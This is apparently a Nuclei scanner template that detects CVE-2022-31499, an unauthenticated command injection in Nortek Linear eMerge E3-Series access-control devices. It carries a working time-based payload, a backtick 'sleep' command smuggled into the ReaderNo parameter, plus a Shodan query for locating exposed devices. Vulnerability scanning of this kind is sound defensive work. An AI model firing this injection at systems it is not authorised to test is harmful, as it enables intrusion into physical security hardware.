nuclei-templates/cves/2022/CVE-2022-31499.yaml

id: CVE-2022-31499

info:
  name: eMerge E3-Series - Command Injection
  author: pikpikcu
  severity: critical
  description: |
    Nortek Linear eMerge E3-Series devices before 0.32-08f allow an unauthenticated attacker to inject OS commands via ReaderNo. NOTE: this issue exists because of an incomplete fix for CVE-2019-7256 .
  reference:
    - https://packetstormsecurity.com/files/167991/Nortek-Linear-eMerge-E3-Series-Command-Injection.html
    - https://github.com/omarhashem123/CVE-2022-31499
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31499
    - http://packetstormsecurity.com/files/167991/Nortek-Linear-eMerge-E3-Series-Command-Injection.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-31499
    cwe-id: CWE-78
  metadata:
    shodan-query: title:"eMerge"
    verified: "true"
  tags: packetstorm,cve,cve2022,emerge,rce

requests:
  - raw:
      - |
        @timeout: 15s
        GET /card_scan.php?No=123&ReaderNo=`sleep%207`&CardFormatNo=123 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - duration>=7
          - contains(all_headers, "text/html")
          - status_code == 200
          - contains(body, '{\"CardNo\":false')
        condition: and